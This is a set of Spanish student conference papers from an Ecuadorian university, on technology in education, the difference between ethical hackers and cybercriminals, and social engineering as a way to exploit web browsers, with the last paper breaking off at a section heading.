- Barraza, M. A. (2008). Burnout estudiantil: un enfoque unidimensional. *PsicologiaCientifica.com*, 20.
- Carlin, M., & Garcés de los Fayos Ruiz, E. J. (2010). El síndrome de burnout: Evolución histórica desde el contexto laboral al ámbito deportivo. *Anales de Psicología*, 169 - 180. Obtenido de (<http://revistas.um.es/analesp>
- Ceballos, S. F. (2010). *Microsoft Visual Basic .NET. Lenguaje y Aplicaciones*. Madrid: Ra - Ma.
- Duarte, G. (septiembre de 2008). *Definición ABC*. Obtenido de <https://www.definicionabc.com/general/trabajo.php>
- ecured. (s.f.). *ecured*. Obtenido de <https://www.ecured.cu/PHP>
- Gabriel. (27 de noviembre de 2017). *mozilla/a*. Obtenido de <https://developer.mozilla.org/es/docs/Web/HTML>

BIOGRAFÍA DE AUOTRES

Franklin Jhimmy Toala Arias Técnico En Análisis De Sistema, Tecnólogo en Sistemas Computacionales, Ingeniero en Sistemas Computacionales, Magister en Educación y Desarrollo Social, Experto en Gestión Organizacional y Liderazgo Transformador para el Desarrollo Territorial Del Buen Vivir, Docente Habilitado de la Senescyt, Técnico de Computación Colegio Ciclo Básico Paulo Emilio Macias, Docente de Computación Colegio Particular Latinoamericano, Director de la Escuela Liceo Modelo, Docente del Colegio Ciclo

Basico Paulo Emilio Macias, Docente de la Carrera de Ingeniería de Sistemas de la Universidad Estatal del Sur De Manabí Extensión Pajan, Gerente del Almacén de Computadoras Pc System Programs, Director de Proyectos de la Unidad Educativa Paulo Emilio Macias S, Docente – Tutor De Nivelación de la Universidad Técnica de Manabí, Docente de Matemáticas y de Programación de la Universidad Estatal del Sur De Manabí.

Odre Eduardo Gruezo Nazareno, Ingeniero en Administración y Marketing, Magister en Gestión Empresarial, Docente de Nivelación de la Universidad Técnica de Manabí (Utm) Actualmente de en la Catedra de Matemáticas, Experto en Liderazgo Transformacional, Experto en Liderazgo Eclesial y Social, Experto en Liderazgo Educativo, Especialista en Docencia en Matemáticas y Docencia Universitaria del Siglo Xxi.

Enrique Javier Macías Arias, Ingeniero en Sistemas Informáticos, Magíster en Ingeniería de Software y Sistemas Informáticos, Especializado en Desarrollo de Software, Administrador de Bases de Datos, Redes y Tecnología de la Información, Docente de la Universidad Técnica de Manabí

José Efraín Álava Cruzatty, Ingeniero en Telecomunicaciones y Magister en Telecomunicaciones por la Universidad Católica Santiago de Guayaquil.

Desde el 2008 ocupó puestos como el del Ingeniero Junior en la Empresa Suratel S.A.; Analista de Operación & Mantenimiento Provincial en la Corporación Nacional de Telecomunicaciones; Analista Técnico en el Viceministerio de Acuicultura y Pesca; y desde el 2015 a la actualidad se Desempeña como Docente en la Universidad Estatal del Sur de Manabí en la Carrera de Ingeniería de Sistemas Computacionales.

Raúl Clemente Murillo Loor, Ingeniero Químico, con Experiencia en Docencia, Habilitado por la Senescyt, Docente de Matemáticas del Colegio Municipal Manuel Rivadeneira, Docente de Operaciones Unitarias y Transferencia de Masa en la Universidad Técnica de Manabí, Docente de Química de Nivelación de la Universidad Técnica de Manabí, Docente de Química y Tutor de Nivelación de la Universidad Estatal del Sur de Manabí.

IMPACTO DEL USO DE LA TECNOLOGÍA EN LA FORMACIÓN INTEGRAL DE LOS ESTUDIANTES

Wilter Leonel Solórzano Álava,

Wilmer Rubén Cevallos Pionce,

Layla Jossenka Gorozabel Cantos,

Ing. José Efraín Álava Cruzatty. Mg.

Ing. Jimmy Leonardo Gutiérrez García. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

wleosol@outlook.com

RESUMEN

El presente trabajo de investigación se basó en la incidencia que tienen las tecnologías en el aprendizaje y en el desarrollo de sus habilidades estudiantiles. Una de las principales causas de por qué la educación de los estudiantes ha avanzado es debido a que la carrera de Tecnologías de la Información de la Universidad Estatal del Sur de Manabí ya ha adaptado estas nuevas tendencias para educar. Con el cambio frecuente de tendencias tecnológicas, los estudiantes se acoplan a estas enseñanzas; con esto los estudiantes se vuelven autodidactas sobre alguna temática. Se utilizaron métodos de investigación científica, predominando el método de inducción - deducción y análisis - síntesis, que contribuyeron al desarrollo de la capacidad de resolver los problemas uniendo las nuevas tendencias tecnológicas que tienen incidencia en la educación de los estudiantes. Se propone como objetivo establecer el buen uso de las herramientas tecnológicas en la educación, para que puedan aplicarlas en las temáticas de las asignaturas que corresponden a la carrera de Tecnologías de la Información, para evitar las vulnerabilidades por falta de comunicación y poco interés del tema. Los resultados obtenidos, están relacionados con el incremento y el buen uso de las herramientas tecnológicas para el aprendizaje de nuevas temáticas utilizadas en la carrera de Tecnologías de la Información. Se concluye que las tecnologías en la educación son de gran aporte para docentes y estudiantes porque permiten que cada una de las partes continúe innovando para participar en la evolución de las tecnologías.

PALABRAS CLAVE: Educación, información, tendencia

ABSTRACT

The present research work was based on the incidence that technologies have on learning and on the development of their student abilities. One of the main causes of why the education of the students has advanced is due to the fact that the career of Information Technology of the Southern State University of Manabí has already adapted these new tendencies to educate. With the frequent change of technological trends, students are attached to these teachings; With this the students become self-taught on some subject. Scientific research methods were used, predominating the method of induction - deduction and analysis - synthesis, which contributed to the development of the ability to solve problems by uniting the new technological trends that have an impact on the education of students. It is proposed as an objective to establish the proper use of technological tools in education, so that they can apply them in the subjects of the subjects corresponding to the career of Information Technologies, to avoid vulnerabilities due to lack of communication and little interest in the subject . The results obtained are related to the increase and good use of technological tools for learning new topics used in the career of Information Technology. It is concluded that technologies in education are a great contribution for teachers and students because they allow each of the parties to continue innovating to participate in the evolution of technologies.

KEYWORDS: Education, information, trend

1. INTRODUCCIÓN

La educación ha existido desde la creación de los seres humanos de una forma u otra porque los humanos han sido educados ya sea por su naturaleza de querer aprender o porque han visto a otras personas y por eso quieren educar a su manera o también buscar ayuda en la persona que tiene más conocimiento sobre lo que quiere educarse a sí mismo. Hoy en día existen diferentes formas y / o herramientas tecnológicas que todos podemos usar y esto facilita nuestra forma de querer educarnos a nosotros mismos.

(Isabel, 2016)"Hoy en día, la tecnología se está convirtiendo en una parte natural de las personas, está presente en todo lo que les rodea, en el trabajo, en los círculos más cercanos y en el propio hogar," lo que permite que todas las personas las personas están en constante evolución, pues las tecnologías son innovadas diariamente, facilitando su uso y comprensión por parte del usuario.

El uso de las tecnologías en el mundo son muy importantes porque permite a las personas a estar conectados en todo momento, en la educación la tecnología a tomado un giro impactante, donde se ha pasado de enseñar con pizarras a tiza a la enseñanza con pizarras electrónicas, antes del uso de las tecnologías las exposiciones en las instituciones públicas se las hacían usando papelotes o escribir en la pizarra, en la actualidad para las exposiciones solo se hace uso de presentaciones en diferentes herramientas que existen usando proyectores y computadoras.

En el Ecuador las tecnologías emergentes no están al nivel que otros países del mundo porque si nos enfocamos en lo que es la educación muchos de las instituciones públicas y privadas les hace falta el uso de las nuevas herramientas tecnológicas, muchas veces pasa esto por no tener una economía estable lo que hace muy difícil la aplicación de estas tecnologías.

Se propone como objetivo enseñar a los estudiantes de la carrera Tecnologías de la Información sobre el uso de las tecnologías en la educación para que puedan aplicarlas o hacer uso de ellas. El impacto que tiene en los estudiantes es aceptable, porque así los estudiantes ya están haciendo uso de las nuevas herramientas tecnológicas que les sirve de mucha ayuda para su crecimiento estudiantil.

2. MATERIALES Y MÉTODOS

Se utilizaron métodos de investigación científica, predominando el método de inducción – deducción y análisis – síntesis, que contribuyeron al desarrollo de la capacidad de resolver los problemas uniendo las nuevas tendencias tecnológicas que tienen incidencia en la educación de los estudiantes.

El método inducción – deducción se utilizó para los procedimientos teóricos de fundamental importancia para la investigación.

El método análisis – síntesis son dos procedimientos teóricos que cumplen funciones importantes en la Investigación

Se utilizó la técnica de observación y entrevista la cual nos permitió de forma directa y clara ver la formación integral de los estudiantes con el uso de las tecnologías para su desarrollo como profesional en la Universidad.

3. RESULTADOS Y DISCUSIÓN

Se obtuvo como resultado el incremento y el buen uso de las herramientas tecnológicas para el aprendizaje de nuevas temáticas utilizadas en la carrera de Tecnologías de la Información.

Se logró que a través de la tecnología los estudiantes puedan fortalecer su formación integral, lo cual les permitirá a ellos a ser un aporte para la sociedad con el uso de las herramientas tecnológicas, mismas que les servirán a los estudiantes como material para educarse en todos los aspectos, porque la formación integral tiene muchas dimensiones que les sirve de aporte para el crecimiento de los estudiantes.

Una de las principales dimensiones que tiene la formación integral es la ética, esta dimensión es la más importante de todas porque en el proceso educativo de los estudiantes ellos van desarrollando su propia ética profesional que les servirá de mucha ayuda en su carrera, en relación con las tecnologías los estudiantes a través de herramientas tecnológicas pueden fortalecer y/o mejorar su ética porque los estudiantes deben tener bien desarrollada su ética para que puedan hacer aporte para la sociedad y que todo lo que han aprendido en su formación integral en la Universidad en el futuro la puedan impartir ellos mismos para continuar con el desarrollo de la comunidad, y además deben adaptarse a las nuevas tendencias tecnológicas, mismas que cada día van en aumento.

La dimensión cognitiva también es parte de la formación integral en los estudiantes de la carrera, esta dimensión interrelacionada con tres aspectos importantes: el conocer, con este aspecto el estudiante debe relacionar lo que hay en su alrededor con el medio en el cual se va a desarrollar su formación donde puede hacer uso de varios procesos y también hace uso de las herramientas tecnológicas; el conocimiento es otro de los aspectos que abarca esta dimensión, este se basa en los conocimientos que trae cada estudiante y que en base a ellos puedan aportar con sus ideas para el desarrollo de nuevas tecnologías que le servirá a ellos mismos en su formación integral; el aprendizaje es el último aspecto de esta dimensión esta se basa en el interés que tiene el estudiante en aprender para desarrollar una buena formación integral, la cual aprenderá mucho las enseñanzas del docente, pero también hará uso de las tecnologías para auto educarse y que el estudiante pueda desarrollar sus propias ideas y que en el futuro le sirvan para aportar a la sociedad.

4. CONCLUSIONES

- Las tecnologías en educación son de gran ayuda para docentes y estudiantes porque permiten que cada una de las partes se vea obligada a continuar innovando para participar en la evolución de las tecnologías.
- En educación, la enseñanza es la misma, lo que cambia es su forma de mostrar al alumno para que haya más interés en él y alentarlos a seguir creando cosas nuevas que puedan ser útiles para su propio beneficio y también para toda una sociedad.
- Nosotros, como profesionales en formación, estamos llamados a estar al día con las nuevas tendencias tecnológicas y, al mismo tiempo, también podemos crear nuevas tecnologías emergentes porque a través de ellas podemos cambiar la perspectiva de los nuevos estudiantes que acaban de comenzar a formarse para el futuro

5. RECOMENDACIONES

- Seguir fortaleciendo la formación integral de los estudiantes en la carrera Tecnologías de la Información para su crecimiento profesional

REFERENCIAS BIBLIOGRÁFICAS

García, A. (2015). *La brecha digital*. Obtenido de labrechadigital.org:
<http://www.labrechadigital.org/labrecha/Articulos/los-beneficios-de-la-tecnologia-en-la-educacion.html>

Isabel, S. (2016). *U-planner*. Obtenido de u-planner.com: <https://www.u-planner.com/es/blog/beneficios-de-la-tecnolog%C3%ADa-en-educaci%C3%B3n>

Zangara, A. (2013). Uso de nuevas tecnologías en la educación: una oportunidad para fortalecer la práctica docente. *Revista Puertas Abiertas*

BIOGRAFÍA DEL AUTOR

Wilter Leonel Solórzano Álava, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Ciencias en la Unidad Educativa Fiscal “Fanny de Baird” Bahía de Caráquez-Manabí-Ecuador.

Wilmer Rubén Cevallos Pionce, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Administración de Sistemas en la Unidad Educativa Fiscal “Quince de Octubre” Jipijapa-Manabí-Ecuador.

Layla Jossenka Gorozabel Cantos, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Administración de Sistemas en la Unidad Educativa Fiscal “Quince de Octubre” Jipijapa-Manabí-Ecuador.

José Efraín Álava Cruzatty, Ingeniero en Telecomunicaciones y Máster en Telecomunicaciones por la Universidad Católica Santiago de Guayaquil. Desde el 2008 ocupé puestos como el del INGENIERO JUNIOR en la empresa SURATEL S.A.; ANALISTA DE OPERACIÓN & MANTENIMIENTO PROVINCIAL en la CORPORACIÓN NACIONAL DE TELECOMUNICACIONES; ANALISTA TÉCNICO en el VICEMINISTERIO DE ACUACULTURA Y PESCA; y desde el 2015 a la actualidad se desempeña como Docente en la Universidad Estatal del Sur de Manabí en las carreras de Ingeniería de Sistemas Computacionales y Tecnologías de la Información.

Jimmy Leonardo Gutiérrez García, Ingeniero en Computación y Redes, Magister en Gerencia Educativa Docente de la Facultad de Ciencias Técnicas en las carreras Tecnologías de la Información y Sistemas Computacionales de la Universidad Estatal del Sur de Manabí, del cantón Jipijapa – Manabí – Ecuador.

SER UN HACKER ÉTICO O UN DELINCUENTE INFORMÁTICO

Xiomara Lisbeth Anzules Ávila,

Rebeca Susana Andrade Baque,

Wilter Leonel Solórzano Álava,

Wilmer Rubén Cevallos Pionce,

Ing. José Efraín Álava Cruzatty. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

xiomy1943@gmail.com

RESUMEN

El presente trabajo de investigación se basó en la definición que se tiene sobre el Hacker Ético y los Delincuentes Informáticos, la cual llega a tener incongruencia entre los estudiantes, el dar a conocer el contexto correspondiente de ambos perfiles con los cuales se busca guiar su experiencia y conocimiento, lo cual contribuye a la construcción de su ética profesional. En la presente investigación se demostró la importancia de hacer llegar esta información a los estudiantes para su discernimiento de ambos perfiles, para esta investigación se establecieron métodos de investigación científica, se utilizó el método análisis – síntesis, método inducción – deducción y los métodos empíricos los cuales contribuyeron a resolver la problemática de discrepancia que existe entre los estudiantes al referirse de dichos temas y llegar así a que estos no caigan en la balanza de ámbitos legales e ilegales. Se propone como objetivo demostrar el contexto de los perfiles de un Hacker Ético y un Delincuente informático, amenorar la discrepancia existente entre los estudiantes con los temas al respecto. Los resultados obtenidos están relacionados con la preparación profesional que el estudiante adquiere durante su desarrollo académico, se genera una seriedad ante el tema por parte de los estudiantes, con la información dada podrán discernir y llegar a no incurrir en delitos tecnológicos.

PALABRAS CLAVE: Discernimiento, Discrepancia, Incongruencia

ABSTRACT

The present research work was based on the definition of the Ethical Hacker and the Computer Offenders, which becomes incongruent among the students, making known the corresponding context of both profiles with which they seek to guide their experience and knowledge, which contributes to the construction of their professional ethics. In the present investigation the importance of getting this information to students for their discernment on what is the difference between both profiles was demonstrated, for this investigation scientific research

methods were established, the analysis-synthesis method, induction - deduction method was used and the empirical methods which contributed to solve the problem of discrepancy that existed among students when referring to these issues and thus reach that these do not fall in the balance of legal and illegal areas. It is proposed as an objective to demonstrate the context of the profiles of an Ethical Hacker and a Computer Offender, to reduce the discrepancy between the students and the related topics. The obtained results are related to the professional preparation that the student acquires during their academic development, a seriousness is generated before the subject by the students, with the given information they will be able to discern and arrive to not incur technological crimes.

KEYWORDS: Discernment, Discrepancy, Inconsistency

1. INTRODUCCIÓN

La diferenciación entre un Hacker ético y un Delincuente informático es algo que el profesional en formación desconoce a profundidad, el hacking ético es un término que la mayoría de los estudiantes desconocen al igual que el Delincuente informático, “esta expresión surge hacia 2009 y se atribuye al ingeniero Federico Iván Gacharná G. Hay talento humano para formar grandes profesionales en Hacking Ético, pero hace falta una formación clara que evite que los participantes distorsionen el propósito y terminen irrumpiendo en la ilegalidad.” (Gacharná, 2009)

Alrededor del mundo existen diferentes grupos o medios por los que se han filtrado todo tipo de comentarios convertidos en argumentos fuera de contexto sobre lo cual es ser un Hacker Ético a ser un Delincuente informático, de cierta forma el significado de ser Hacker llega a ser “satanizado” de manera que se llega a estimar que ser Delincuente informático conllevan a lo mismo.

Con la información recaudada los estudiantes de la carrera de Tecnologías de la Información en la Universidad Estatal del Sur de Manabí tendrán las herramientas necesarias para discernir y ser un profesional con ética en esta rama, lo que contribuirá al desarrollo de los estudiantes en su formación profesional para que al manejar información de índole confidencial lo hagan dentro de la ley y no de manera maliciosa.

Se propone como objetivo demostrar la diferencia que se encuentra en el contexto existente entre los estudiantes sobre los perfiles de un Hacker Ético y un Delincuente informático, por

un verdadero significado de estos, detallando el rol que cumplen en el ámbito informático para así menorar la discrepancia existente entre los estudiantes de la Universidad Estatal del Sur de Manabí con los temas al respecto.

En los estudiantes se evidencia un impacto favorable al ver que estos encuentran la información dada de suma relevancia para su desarrollo académico y su desenvolvimiento profesional, en estos se desenvuelve los valores éticos y morales los cuales son requisitos fundamentales para el profesional en formación.

2. MATERIALES Y MÉTODOS

Los métodos utilizados en la investigación científica, en la cual esta predominante el método de inducción – deducción, análisis – síntesis y empíricos, los cuales aportaron al impulso en el contenido para resolver los problemas en el discernimiento por lo que es ser un Hacker Ético y Delincuente informático.

En el método inducción – deducción se utilizó para obtener generalidades y singularidades de esta investigación.

En el método análisis – síntesis se utilizó para generar observaciones y obtener un análisis general del mal uso del hacking y la discrepancia ante lo que es ser un hacker ético y un delincuente informático dada entre los estudiantes.

En el método empírico se utilizó la técnica de observación y entrevista, por la cual se permitió de una manera continua y despejada observar la información completa sobre el desconocimiento pleno los perfiles de Hacker Ético y Delincuente Informático.

3. RESULTADOS Y DISCUSIÓN

El resultado obtenido es favorable gracias a la información dada a los estudiantes la cual es acogida con agrado y vista de importancia para fortalecer su criterio y el profesional que en ellos se forma, capaces de conocer la diferencia entre un Hacker Ético y un Delincuente Informático, lo cual contribuye a que estos no incidan a infringir de alguna manera la Ley.

Lo que se consiguió fue que debido a la incorporación de este contenido los estudiantes ahora cuentan con las herramientas de dispersión necesarias para que en ellos no influya ninguna

duda sobre cuál es el perfil que deben seguir, así tener en cuenta que el ser un hacker ético no solo corresponde a realizar recolección de datos, documentos de importancia practicar ataques a redes en un ambiente controlado para alguna institución sino más bien que el estudiante consiga perdurar en su mentalidad la ética profesional de hacer un uso correcto de estos datos e informar a las autoridades de la empresa sobre técnicas de seguridad y protocolos a seguir si un delincuente informático llega a intentar irrumpir para obtener información con la cual haría un mal uso.

El ataque a redes de computadoras con el fin de infringir en su sistema de seguridad sin que las autoridades tengan conocimiento previo sobre esta actividad es penado por la ley, debido a que en este ataque se llega a conocer las vulnerabilidades de dicha empresa lo cual convierte al ejecutado en un delincuente informático por esta razón el estudiante no incurrirá en estos delitos inconscientemente exponiéndose a que la ley tome represalias sobre este asunto. Los contextos dados sobre estos perfiles ayudan al estudiante a desplegar con seguridad su potencial a través del tiempo de acuerdo con la experiencia que gana, todo esto sin que en el proceso de manera equivocada y sin conocimiento distorsionen el propósito real de ser un Hacker.

4. CONCLUSIONES

- El ser un hacker radica en el interés continuo que muestra el estudiante en las utilidades de tecnologías con ello puede desarrollarse la desorientación sobre cuál es el perfil que se debe seguir, ya sea este de hacker o delincuente informático
- En la educación un punto importante es el hecho de guiar y saber encaminar la dirección que estudiante tomara como profesional por este motivo la importancia de que conozca el significado de temas como este es de gran importancia
- El estudiante siendo un profesional en desarrollo necesita de la correcta apreciación de ambos perfiles, esto debido a que el conocimiento que se debe tener sobre la diferencia entre un hacker ético y un delincuente informático es de gran importancia, los estudiantes deben conocer cuál es el rol de cada uno en el ámbito informático

5. RECOMENDACIONES

- Dar importancia a la educación profesional del estudiante con términos como estos ya que proyectan en este un sentido de ética y profesionalismo.
- Con el estudio realizado se evidencio páginas que complementan el tema, por ello se recomienda visitar las siguientes: [www. hackingetico.info](http://www.hackingetico.info) y www.hackstudio.net de Colombia, www.cursohacker.com de España.

REFERENCIAS

Acosta, V. (2018). Hacking Ético: una profesión en alza. *Revista digital Inesem*.

Gacharná, F. (30 de 04 de 2009). *revistas.uniminuto*. Obtenido de revistas.uniminuto.edu: <http://revistas.uniminuto.edu/index.php/Inventum/article/download/43/42/>

VIU. (2018). *Universidad Internacional de Valencia*. Obtenido de universidadviu.com: <https://www.universidadviu.com/hacking-etico-importancia-empresas>

BIOGRAFÍA DEL AUTOR

Xiomara Lisbeth Anzules Avila, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Administración de Sistemas en el Colegio Fiscal Técnico “Dr. Isidro Ayora Cueva” Isidro Ayora-Guayas-Ecuador.

Rebeca Susana Andrade Baque, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Químico Biólogo en la Unidad Educativa Fiscal “Pajan” Pajan-Manabí-Ecuador.

Wilter Leonel Solórzano Álava, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Ciencias en la Unidad Educativa Fiscal” Fanny de Baird” Bahía de Caráquez-Manabí-Ecuador.

Wilmer Rubén Cevallos Pionce, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Administración de Sistemas en la Unidad Educativa Fiscal” Quince de Octubre” Jipijapa-Manabí-Ecuador.

Ing. José Efraín Álava Cruzatt, Ingeniero en Telecomunicaciones y Master en Telecomunicaciones por la Universidad Católica Santiago de Guayaquil. Desde el 2008 ocupé puestos como el del INGENIERO JUNIOR en la empresa SURATEL S.A.; ANALISTA DE

OPERACIÓN & MANTENIMIENTO PROVINCIAL EN LA CORPORACIÓN NACIONAL DE TELECOMUNICACIONES; ANALISTA TÉCNICO en el VICEMINISTERIO DE ACUACULTURA Y PESCA; y desde el 2015 a la actualidad se desempeña como Docente en la Universidad Estatal del Sur de Manabí en las carreras de Ingeniería de Sistemas Computacionales y Tecnologías de la Información.

**EXPLOTANDO VULNERABILIDADES DE NAVEGADORES MEDIANTE
APLICACIÓN INFORMÁTICA SUSTENTADA EN INGENIERÍA SOCIAL COMO
MÉTODO DE HACKING**

Castro Álava Danny Alan,

Lcda. Kirenia Maldonado Zúñiga. Mg.

Ing. Mario Javier Marcillo Merino. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

iMDc.Ru@gmail.com

RESUMEN

El objetivo de la presente investigación fue brindar un aporte concreto y significativo al existente en internet, sobre la Ingeniería Social aplicado como método de hacking para explotar vulnerabilidades en navegadores web, con énfasis a los estudiantes de carreras en ciencias técnicas pertenecientes a la Universidad Estatal del Sur de Manabí, en el proceso investigativo se concluyó el análisis e identificación de técnicas y herramientas que eran inadvertidas para el usuario, dichas herramientas eran basadas en Ingeniería Social, la cual ha sido una de las más comunes para alcanzar el éxito en la intrusión a un sistema, y así poner en riesgo la seguridad del mismo, fue ahí donde surgió la idea de realizar un ejemplo en programación para la demostración y funcionamiento de la ingeniería social como método de hacking. La metodología utilizada fue de nivel teórico, empírico y estadístico matemático. Los principales resultados evidenciaron un índice considerable de desconocimiento sobre la ingeniería social como método de hacking, gracias a los diferentes métodos que se utilizaron en esta investigación se dedujo que los usuarios de sistemas comunes eran un blanco fácil con un alto nivel de vulnerabilidad, propensos a pérdidas de datos considerables. Se concluye que el enfoque principal de la investigación tiene una proyección viable para que los usuarios evidencien un ejemplo vivencial sobre la ingeniería social como método de hacking y de esa manera reducir de manera considerable el nivel de victimización que se encontró vigente en los usuarios a través de los métodos utilizados en el proceso investigativo.

PALABRAS CLAVE: ingeniería social, programación, seguridad, técnicas.

ABSTRACT

The objective of this research was to provide a concrete and significant contribution to the existing on the Internet, on Social Engineering applied as a method of hacking to exploit vulnerabilities in web browsers, with emphasis on the students of careers in technical sciences

belonging to the State University of South of Manabí, in the investigative process, the analysis and identification of techniques and tools that were unnoticed by the user was concluded, these tools were based on Social Engineering, which has been one of the most common to achieve success in the intrusion to a system, and thus put the security of it at risk, was where the idea of making an example in programming for the demonstration and operation of social engineering as a method of hacking arose. The methodology used was theoretical, empirical and mathematical statistical. The main results showed a considerable index of ignorance about social engineering as a method of hacking, thanks to the different methods that were used in this investigation it was deduced that the users of common systems were an easy target with a high level of vulnerability, prone to considerable data loss. It is concluded that the main focus of the project has a viable projection so that users can see an experiential example of social engineering as a method of hacking and thus considerably reduce the level of victimization that was found in users through the methods used in the investigative process.

KEYWORDS: social engineering, programming, security, techniques.

1. INTRODUCCIÓN

En la actualidad la tecnología se ha convertido en parte de la vida cotidiana de los internautas, ya sea por moda o por necesidad, muchos usuarios dependen tanto de ellas; y es aquí donde la seguridad comienza a verse seriamente afectada pues, los malhechores informáticos (crackers, phishers y/hackers) ven la enorme cantidad de información que puede ser obtenida sobre todo si existen usuarios que por negligencia o descuido la comparte; por lo tanto, es imperativo conocer algunas de estas formas de ataque a fin de estar protegidos por si en algún momento llegase a suceder.

También el factor humano es una parte esencial del juego de seguridad. No existe un sistema informático que no dependa de algún dato ingresado por un operador humano. Esto indica una debilidad de seguridad con carácter universal, independiente de plataforma, el software, red o edad de equipo. Existe una frase popular sobre la seguridad informática, la misma infiere “que la única computadora segura es la que se encuentra apagada y desenchufada”. (Lecziky, 2000)

Sin embargo, como se ha repetido a lo largo de la historia, con el desarrollo de nuevas herramientas de tecnología y de comunicación, surgen personas que buscan explotar las vulnerabilidades de estas nuevas tecnologías, pero sobre todo se enfocan en engañar al eslabón más débil de una cadena de seguridad: el usuario.

2. DESARROLLO

Cada día son más comunes los ataques informáticos basados en la Ingeniería Social. Estos se caracterizan por explotar la confianza de los usuarios con el fin de tener acceso a información confidencial. (Salazar & Gonzalez, 2007)

Los sistemas de información en la actualidad son más inseguros que nunca en la historia de la humanidad, su impacto se deja sentir en todas las actividades humanas. La seguridad informática se ha vuelto vulnerable, existe desconocimiento sobre las anomalías que se pueden presentar si un ingeniero social logra manipular o exponer información como datos, accesos, contraseñas, entre otras informaciones relevantes.

La base de la Ingeniería Social es el uso o manipulación de las personas para obtener acceso o control de un determinado sitio o sistema; se entiende que todos los colaboradores de cualquier institución es un blanco que puede dar información delicada y confidencial a terceros, lo cual puede ser manipulado por esta técnica, esta investigación pretende evitar el flujo de información a través del personal que labora en las instituciones y su vez de los mismos estudiantes en cuanto a temas confidenciales.

Los usuarios en la actualidad son el principal punto frágil y sensible producido por el poco conocimiento sobre como resguardar la información, pero mediante el desarrollo de la aplicación experimental de este proyecto de investigación, se procurará que los usuarios tomen en cuenta que lo más importante para evitar ser una víctima, es educarse, capacitarse y estar más informados sobre el tema de la Ingeniería Social.

“Aunque se dice que el único ordenador seguro es el que está desenchufado, un Ingeniero Social siempre se encarga de convencer a alguien para que lo enchufe”. (Pedraza Garzón & Caviedes Figueroa, 2011)

Definiciones

“La definición de ingeniería social es el arte de sacar información a alguien sin que la persona que está siendo “atacada” se dé cuenta.” (Cornejo, 2017)

Navegadores (Browsers) según Wikipedia “es un software, aplicación o programa que permite el acceso a la Web, interpretando la información de distintos tipos de archivos y sitios web para que estos puedan ser visualizados” (Wikipedia C. d., Navegador web, 2019).

Vulnerabilidades en informática según Wikipedia “as vulnerabilidades son puntos débiles de un sistema informático (compuesto por hardware, software e incluso humanos) que permiten

que un atacante comprometa la integridad, disponibilidad o confidencialidad del mismo. Algunas de las vulnerabilidades más severas permiten que los atacantes ejecuten código arbitrario, denominadas vulnerabilidades de seguridad, en un sistema comprometido.” (Wikipedia C. d., Vulnerabilidad en informática, 2019)

Causas

El factor humano es una parte esencial y primordial de la seguridad. No existe un sistema informático que no dependa de algún dato ingresado por un operador humano. Significa que esta debilidad de seguridad informática es universal, independientemente de plataformas, el software, red, equipo y la edad de la persona afectada.

Otro de los aspectos de valoración es conocer las causas que provocan ataques de Ingeniería Social y una serie de problemáticas cuyo enfoque se encierra dentro del conocimiento y desconocimiento sobre el tema, para ello mencionaremos alguna de las causas:

- Falta de conocimiento y capacitación sobre las distintas técnicas y maneras de ser atacados por medio de la Ingeniería Social.
- Permitir el acceso a alguna parte del sistema, físicamente o electrónicamente, por parte de personas externas o propias de la empresa, tengan o no relación con lo que se realiza.
- Desconocimiento de políticas y protocolos de la organización por parte de los empleados, para la protección de información sensible.
- Indiferencia del personal para respaldar información y mantenerse alerta a distintos sistemas de seguridad de información.
- Utilización de herramientas que no proporcionen seguridad a la información ni al personal y con esto permitan el flujo de información o algún daño al sistema.

Existen muchas causas que son utilizadas por los atacantes, valiéndose de las distintas técnicas de la Ingeniería Social para realizar algún daño o pérdida de información confidencial y privada.

Tipos de ingeniería social

- **Basada en computadoras**

Utiliza la ingenuidad y el desconocimiento para hacer caer a los usuarios en trampas como páginas, uso de aplicaciones externas para hurto de información, ventas ficticias, imitaciones

de correo de algún proveedor o jefe institucional y correos con virus, generalmente todo esto se conoce como correo no deseado o Spam.

- **Basada en los recursos humanos**

Generalmente esta se trata de un contacto directo que realiza un análisis de sus vulnerabilidades durante una conversación o durante un periodo de seguimiento, al conocer a la persona y analizarla se puede obtener mucha información, se podría interpretar principios, rutinas o hobbies, vida personal o vida laboral y así un atacante pueda manejar a la persona de cualquier forma.

Fases de la ingeniería social

Los atacantes o hacker dentro de la ingeniería social buscan y analizan la manera de intimidar o confundirlo al usuario y de esta manera buscar beneficios más rápidos y seguros, podrían utilizar tretas como: compañeros de trabajo, auditores, administradores, familiares, y de esta manera explotar la información obtenida.

Técnicas más utilizadas por los atacantes

Para realizar estos ataques los ingenieros sociales utilizan técnicas las cuales son basadas en la manipulación, principalmente en la personalidad del individuo para así controlarla. Existen cuatro tipos de técnicas las cuales son:

Técnicas pasivas

- **Observación – Analiza el entorno de la persona**

La Ingeniería Social cuenta con una técnica que tiene complejidad muy baja, esta es la observación o un análisis del entorno de las personas.

La observación es el medio por el cual el ingeniero social obtiene información de un lugar, de una persona o de un grupo de personas. Este consiste en un análisis visual de los datos que puede proporcionar una persona ya sea desde su vestimenta, accesorios, hobbies, vida social hasta su vida laboral. Además, este análisis visual también interpreta los entornos que suele usar el individuo.

Esta es una técnica de ataque muy simple pero muy efectiva, toda la información recopilada permitirá al ingeniero social ejecutar sus acciones con eficiencia y eficacia.

Técnicas no presenciales

- **Recuperar contraseña**

- **Enlaces maliciosos**
- **Aplicaciones maliciosas (Desktop, Móvil y Web)**
- **Phishing**
- **Minería de datos**
- **Correos electrónicos maliciosos (Spam)**
- **Publicidad engañosa**

Relación entre la ingeniería social y la seguridad informática

